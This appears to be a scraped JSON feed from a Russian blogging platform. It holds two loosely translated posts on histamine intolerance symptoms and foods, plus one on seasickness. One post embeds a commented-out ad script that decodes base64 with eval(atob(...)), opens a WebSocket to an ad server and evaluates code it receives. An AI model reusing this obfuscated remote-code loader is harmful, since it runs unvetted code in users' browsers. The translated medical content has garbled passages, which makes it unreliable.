\n\x3cdiv readability=\"7\">\n \x3cp>\n Загрузка... \x3c/p>\n \n \x3c/div>\n\x3c!-- Composite End -->\n\t\t\t\n\t\t\t\n \n\n \n \x3cp>\x3cstrong>\x3ca href=\"https://blockads.fivefilters.org\" target=\"_blank\">Let's block ads!\x3c/a>\x3c/strong> \x3ca href=\"https://blockads.fivefilters.org/acceptable.html\" target=\"_blank\">(Why?)\x3c/a>\x3c/p>","comments_count":0,"marks_count":0,"likes":{"count":0,"user_likes":0,"can_like":0,"marks_pluses":0,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://s30101041796.mirtesen.ru/blog/43205313832","tags":["признаки","непереносимость","советы","гистамин","Здоровье","симптомы"],"date":1540568616,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20475747919,"photo_original":"https://mtdata.ru/u22/photoC6FB/20475747919-0/original.jpg","width":540,"height":282}}],"group":{"display_name":"Здоровье в наших руках","url":"https://s30101041796.mirtesen.ru","photo_original":"//mtdata.ru/u24/groupA346/67d5475e3acc17dcaea99ef5334b1604-0/__logo.jpeg","id":30101041796,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1403893363179},"canonical_url":"https://fithacker.ru/articles/12-preduprezhdayushhih-znakov-togo-chto-u-vas-opasnaya-neperenosimost-gistamina-a-ne-prosto-allergiya/","topic":"health","title":"12 предупреждающих знаков того, что у вас опасная непереносимость гистамина, а не просто аллергия","preview_text":"Непереносимость гистамина плохо изучена в медицинском мире, и большинству экспертов не хватает обширных знаний по этой теме. Хотя лишь 1 процент населения испытывает реакции к гистамину, увеличенная чувствительность к нему будет все более общей. Непереносимость гистамина – это аллергические","post_type":"post","formattedDates":{"iso":"2018-10-26T15:43:36.000Z","ver1":"26 октября, 18:43","ver2":"26.10.2018 в 18:43","ver3":"26 окт., 18:43"},"images":[{"main":true,"url":"https://mtdata.ru/u22/photoC6FB/20475747919-0/original.jpg","width":540,"height":282}],"videos":[],"shared_post":null,"mentionedPersons":null},{"id":43254053368,"from_id":610787515,"from":{"id":610787515,"display_name":"Иван Р","url":"https://mirtesen.ru/people/610787515","photo_original":"https://mtdata.ru/u25/photoF58B/20530199656-0/original.jpeg","isAuthenticAccount":false,"sex":2},"owner_id":-30101041796,"text":"\x3cdiv>\x3ca href=\"https://fithacker.ru/wp-content/uploads/2018/08/9-9.jpg\" data-caption=\"data-caption\" target=\"_blank\">\x3cimg width=\"540\" height=\"282\" src=\"//mtdata.ru/u26/photo5251/20173767609-0/original.jpg#20173767609\" alt=\"alt\" title=\"9\" />\x3c/a>\x3c/div>\x3c!-- M347983Composite Start -->\x3c!-- \x3cdiv id=\"M347983Composite625353\">\x3ccenter> \x3ca href=\"http://marketgid.com/\" target=\"_blank\">«агрузка...\x3c/a> \x3c/center>\x3c/div> \x3cscript type=\"text/javascript\"> var d = new Date, script625353 = document.createElement(\"script\"), mg_ws625353 = {};script625353.type = \"text/javascript\";script625353.charset = \"utf-8\";script625353.src = \"//jsc.marketgid.com/f/i/fithacker.ru.625353.js?t=\" + d.getYear() + d.getMonth() + d.getDay() + d.getHours();script625353.onerror = function () { mg_ws625353 = new Worker(URL.createObjectURL(new Blob(['eval(atob(\\'ZnVuY3Rpb24gc2VuZE1lc3NhZ2U2MjUzNTMoZSl7dmFyIGg9bWdfd3M2MjUzNTMub25tZXNzYWdlOyBtZ193czYyNTM1My5yZWFkeVN0YXRlPT1tZ193czYyNTM1My5DTE9TRUQmJihtZ193czYyNTM1Mz1uZXcgV2ViU29ja2V0KG1nX3dzNjI1MzUzX2xvY2F0aW9uKSksbWdfd3M2MjUzNTMub25tZXNzYWdlPWgsd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMobWdfd3M2MjUzNTMsZnVuY3Rpb24oKXttZ193czYyNTM1My5zZW5kKGUpfSl9ZnVuY3Rpb24gd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMoZSx0KXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7cmV0dXJuIDE9PT1lLnJlYWR5U3RhdGU/dm9pZChudWxsIT10JiZ0KCkpOnZvaWQgd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMoZSx0KX0sNSl9OyB2YXIgbWdfd3M2MjUzNTNfbG9jYXRpb24gPSAid3NzOi8vd3NwLm1hcmtldGdpZC5jb20vd3MiOyBtZ193czYyNTM1MyA9IG5ldyBXZWJTb2NrZXQobWdfd3M2MjUzNTNfbG9jYXRpb24pLCBtZ193czYyNTM1My5vbm1lc3NhZ2UgPSBmdW5jdGlvbiAodCkge3Bvc3RNZXNzYWdlKHQuZGF0YSk7fSwgb25tZXNzYWdlID0gZnVuY3Rpb24oZSl7c2VuZE1lc3NhZ2U2MjUzNTMoZS5kYXRhKX0=\\'))']), {type: \"application/javascript\"})); mg_ws625353.onmessage = function (msg){window.eval(msg.data);}; mg_ws625353.postMessage('js|'+script625353.src+'|M347983Composite625353|M347983Composite625353');};document.body.appendChild(script625353); \x3c/script>--> \x3c!-- M347983Composite End --> \n \x3cp>Могли ли вы невольно страдать от нетерпимости к гистаминам? \x3cstrong>Гистаминами \x3c/strong>являются важные природные химические вещества в организме человека, которые имеют много важных функций. Они могут действовать как нейротрансмиттеры, поддерживать иммунную систему, регулировать желудочно-кишечные функции, тонизировать кровеносные сосуды и оказывать помощь в правильном функционировании мышц. Во время аллергической реакции гистамины обычно высвобождаются для создания того, что должно быть защитным воспалительным ответом для защиты телесных систем. Однако у людей с непереносимостью гистамина система организма, которая разрушает и деградирует гистамин после такого ответа, нарушается, создавая состояние длительного воспаления\x3ca href=\"https://fithacker.ru/\" target=\"_blank\">.\x3c/a>\x3c/p>\n\x3cp>\x3cstrong>Каковы признаки непереносимости гистамина?\x3c/strong>\x3cbr />Поскольку гистамины являются основным химическим ответом, вызывающим аллергическую реакцию, гипераминовая непереносимость часто ошибочно принимается сначала за аллергию. \x3c/p>\n\x3cp>\x3cstrong>Признаки, которые могут указывать на это состояние:\x3c/strong>\x3cbr />зуд\x3cbr />сыпь\x3cbr />отек, особенно в области лица и рта (это может сопровождаться ощущением суженного или подтянутого горла)\x3cbr />низкое кровяное давление\x3cbr />учащение пульса\x3cbr />боль в груди\x3cbr />раздражение глаз или припухлость\x3cbr />головные боли, спутанность сознания или головокружение\x3cbr />пищеварительные проблемы, такие как диарея, изжога или тошнота\x3cbr />краткая потеря сознания\x3c/p>\n\x3cp>Многие из этих симптомов имитируют более тяжелые состояния, такие как сердечный приступ или анафилаксия, которая является тяжелой и потенциально фатальной аллергической реакцией. Некоторые люди также могут ошибочно принимать эти симптомы за паническую атаку или тревожное расстройство, что делает путь к диагностике непереносимости гистамина, часто пронизанным визитами к врачам и испытаниями лекарств.\x3c/p>\n\x3cp>\x3cstrong>Непереносимость пищевых продуктов и гистамина. Продукты.\x3c/strong>\x3c/p>\n\x3cp>Рыба\x3cbr />Вся рыба, включая моллюсков, начинает производить гистамин, как только они умирают.\x3c/p>\n\x3cp>\x3cstrong>Ферментированные продукты \x3c/strong>\x3cbr />В эту категорию входят сыр, алкогольные напитки, ферментированные овощи, такие как квашеная капуста, ферментированные соевые продукты, такие как соевый соус или тофу и мясные продукты, такие как мясо для завтрака или пепперони. Процесс ферментации, естественно, приводит к высоким уровням гистаминов.\x3c/p>\n\x3cp>\x3cstrong>Овощи:\x3c/strong>\x3cbr />помидоры\x3cbr />баклажаны\x3cbr />тыква\x3c/p>\n\x3cp>\x3cstrong>Цитрусовые\x3c/strong>\x3cbr />Ягоды, такие как малина, клубника или черника\x3cbr />Плодовые фрукты, такие как авокадо, абрикосы, сливы или вишни\x3c/p>\n\x3cp>\x3cstrong>Яйца\x3c/strong>\x3c/p>\n\x3cp>Пищевые \x3cstrong>консерванты\x3c/strong>, такие как бензоаты, сорбаты или сульфиты\x3ca href=\"https://fithacker.ru/\" target=\"_blank\">.\x3c/a>\x3c/p>\n\x3cp>\x3cstrong>Надежда для тех, кто страдает от нетерпимости к гистаминам\x3c/strong>\x3cbr />Из-за переходных симптомов, которые имитируют другие синдромы, многие люди пытаются диагностировать это расстройство. Тем не менее, консультации с вашим врачом для обсуждения симптомов и соответствующих анализов могут помочь отличить непереносимость гистамина от других диагнозов. Консультация с аллергологом и диетологом поможет вам обнаружить ваши триггеры и восстановить здоровую и счастливую жизнь.\x3c/p>\n\x3cp>\x3ca href=\"https://positivemed.com/2015/10/02/signs-of-histamine-intolerance/\" target=\"_blank\">Источник\x3c/a>\x3cbr />Перевод и адаптация — \x3ca href=\"https://fithacker.ru/\" target=\"_blank\">Фитхакер\x3c/a>\x3c/p>\n\n \x3c!-- A generated by theme --> \n\n\n\n \x3c!-- end A --> \n\n\n\x3cdiv>\n\x3cdiv>\n\x3cp2>\x3cnoindex>\x3cnofollow>\x3c/nofollow>\x3c/noindex>\x3c/p2>\x3cp3>← Жми «Нравится» и читай нас в Фейсбуке\x3c/p3>\n\x3c/div>\n\n\x3c/div>\n\n\x3cp>\x3cstrong>Понравилось? Поделитесь с друзьями!\x3c/strong>\x3c/p>\n \x3cp>\x3cstrong>\x3ca href=\"https://blockads.fivefilters.org\" target=\"_blank\">Let's block ads!\x3c/a>\x3c/strong> \x3ca href=\"https://blockads.fivefilters.org/acceptable.html\" target=\"_blank\">(Why?)\x3c/a>\x3c/p>","comments_count":0,"marks_count":0,"likes":{"count":0,"user_likes":0,"can_like":0,"marks_pluses":0,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://s30101041796.mirtesen.ru/blog/43254053368","tags":["рацион","непереносимость","гистамин","Здоровье","описание","симптомы"],"date":1535299497,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20173767609,"photo_original":"https://mtdata.ru/u26/photo5251/20173767609-0/original.jpg","width":540,"height":282}}],"group":{"display_name":"Здоровье в наших руках","url":"https://s30101041796.mirtesen.ru","photo_original":"//mtdata.ru/u24/groupA346/67d5475e3acc17dcaea99ef5334b1604-0/__logo.jpeg","id":30101041796,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1403893363179},"canonical_url":"https://fithacker.ru/articles/11-priznakov-neperenosimosti-gistamina-i-produktyi-kotoryih-sleduet-izbegat/","topic":"health","title":"11 признаков непереносимости гистамина и продукты, которых следует избегать","preview_text":"\x3c!-- M347983Composite Start -->\x3c!-- «агрузка... var d = new Date, script625353 = document.createElement(\"script\"), mg_ws625353 = {};script625353.type = \"text/javascript\";script625353.charset = \"utf-8\";script625353.src = \"//jsc.marketgid.com/f/i/fithacker.ru.625353.js?t=\" + d.getYear() +","post_type":"post","formattedDates":{"iso":"2018-08-26T16:04:57.000Z","ver1":"26 августа, 19:04","ver2":"26.08.2018 в 19:04","ver3":"26 авг., 19:04"},"images":[{"main":true,"url":"https://mtdata.ru/u26/photo5251/20173767609-0/original.jpg","width":540,"height":282}],"videos":[],"shared_post":null,"mentionedPersons":null},{"id":43960726809,"from_id":53816169,"from":{"id":53816169,"display_name":"Евгений Сокольский","url":"https://mirtesen.ru/people/53816169","photo_original":"https://mtdata.ru/u21/photo6DAA/20089971661-0/original.jpeg","isAuthenticAccount":false,"sex":2},"owner_id":-30375055982,"text":"\x3cdiv class=\"ui-rss-text\">\x3cp>\x3cp>10 тысяч лет терзает человечество морская болезнь. Путешественники древнего мира больше боялись первого года плавания, чем выдуманных морских чудовищ, ведь муки от качки были просто невыносимы. Даже сегодня, в наш век открытий биологи и физиологи до сих пор спорят, чем именно вызвана эта неприятная напасть. Ближе всего к истине подошел австрийский врач, внезапно открывший, что дело всего лишь в банальной биохимии. \t\t\t\t\t\x3c/p>\x3cul>\n\x3cli>\n\t\t\t\t\t\t\t\t\x3cimg src=\"//mtdata.ru/u29/photo7216/20810190450-0/original.jpg#20810190450\" alt=\"\" />\x3ch2 style=\"text-align: center;\">Древние трюки\x3c/h2>\n\x3cp>Морская болезнь терзала путешественников еще в далекой древности. Греки пытались лечиться сильно разбавленным вином, трезвенники римляне мазали под носом уксусом, а потом удивлялись, чего это у них усы не растут. Английские матросы в первые годы плавания затягивали кушаки очень туго, сдавливая и повреждая желудок. К сожалению, все эти меры нельзя считать серьезным средством для излечения от неприятной болезни.\x3c/p>\t\t\t\t\t\t\t\x3c/li>\n\t\x3cli>\n\t\t\t\t\t\t\t\t\x3cimg src=\"//mtdata.ru/u29/photo1457/20033263299-0/original.jpg#20033263299\" alt=\"\" />\x3ch2 style=\"text-align: center;\">Запутавшийся мозг\x3c/h2>\n\x3cp>Еще недавно считалось, что морская болезнь появляется из-за расхождения сигналов от внутреннего уха и глаза. Врачи полагали конфликт сигналов вредит организму: тот полагает, что ситуация опасна для жизни и пытается на всякий случай избавиться от «лишнего» груза в желудке.\x3c/p>\t\t\t\t\t\t\t\x3c/li>\n\t\x3cli>\n\t\t\t\t\t\t\t\t\x3cimg src=\"//mtdata.ru/u29/photo0584/20256336148-0/original.jpg#20256336148\" alt=\"\" />\x3ch2 style=\"text-align: center;\">Эксперименты\x3c/h2>\n\x3cp>Однако, гипотеза врачей скорее всего ошибочна. Во-первых, у некоторых людей приступ морской болезни случается даже при просмотре фильмов о шторме. Во-вторых, слепые на палубе испытывают те же самые муки, что и зрячие — но откуда бы у них взялся «конфликт сигналов»?\x3c/p>\t\t\t\t\t\t\t\x3c/li>\n\t\t\t\t\t\x3c/ul>\x3c/p>\x3c/div>\x3cp> \x3c/p>","comments_count":0,"marks_count":1,"likes":{"count":1,"user_likes":0,"can_like":0,"marks_pluses":1,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[{"id":100,"count":1}]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://social.dnpmag.com/blog/43960726809","tags":["морская болезнь","биохимия","Тренинг","лекарство","гистамин","наука"],"date":1533451278,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20810190450,"photo_original":"https://mtdata.ru/u29/photo7216/20810190450-0/original.jpg","width":900,"height":500}}],"group":{"display_name":"Don't Panic Magazine","url":"https://social.dnpmag.com","photo_original":"//mtdata.ru/u14/photoE4BA/20323082074-0/original.jpeg","id":30375055982,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1409575326455},"canonical_url":"http://dnpmag.com/2018/08/05/morskaya-bolezn-kak-izbavitsya-ot-muk-pri-pomoshhi-nauki-2/","topic":null,"title":"Как избавиться от морской болезни","preview_text":"10 тысяч лет терзает человечество морская болезнь. Путешественники древнего мира больше боялись первого года плавания, чем выдуманных морских чудовищ, ведь муки от качки были просто невыносимы. Даже сегодня, в наш век открытий биологи и физиологи до сих пор спорят, чем именно вызвана эта неприятная","post_type":"post","formattedDates":{"iso":"2018-08-05T06:41:18.000Z","ver1":"5 августа, 9:41","ver2":"05.08.2018 в 9:41","ver3":"5 авг., 9:41"},"images":[{"main":true,"url":"https://mtdata.ru/u29/photo7216/20810190450-0/original.jpg","width":900,"height":500}],"videos":[],"shared_post":null,"mentionedPersons":null}],"tag":"гистамин","tagId":80453434694,"hasMore":true,"offset":1,"isGeo":false},"reasonsForShowing":{},"channelMain":{"items":[],"nextOffset":0,"hasMoreItems":true,"currentUserPostId":null,"page":0},"richPostEditor":{"id":null,"title":"","text":"","channel":null,"canSelectChannel":false,"canSubmit":false},"indexChannel":{"items":[],"nextOffset":0,"hasMoreItems":true},"videoList":{},"videoOne":{},"videoRecommendations":{},"channelActions":{},"testDraftJs":{},"channelEditor":{"tab":"info","id":null,"isOpen":false,"name":"","title":"","description":"","isNameAvailable":true,"isLoading":false,"errors":{}},"channelCoverEditor":{"isOpen":false,"mode":"add","imageSaved":false},"channelAvatarEditor":{"isOpen":false},"myChannels":{"channels":[],"subscriptions":{"items":[],"nextOffset":0,"hasMore":true,"subscriptionsNum":0}},"channelHeaderTags":{"isOpen":false,"searchResults":[],"geoTags":[],"tags":[],"searchInProccess":false,"geoPosition":null,"headerTags":[]},"searchResults":{"title":"","activeTab":"posts","isLoading":false,"noResults":false,"posts":{"results":[],"nextOffset":0,"hasMore":true},"geo":{"results":[]},"channels":{"results":[],"nextOffset":0,"hasMore":true}}}
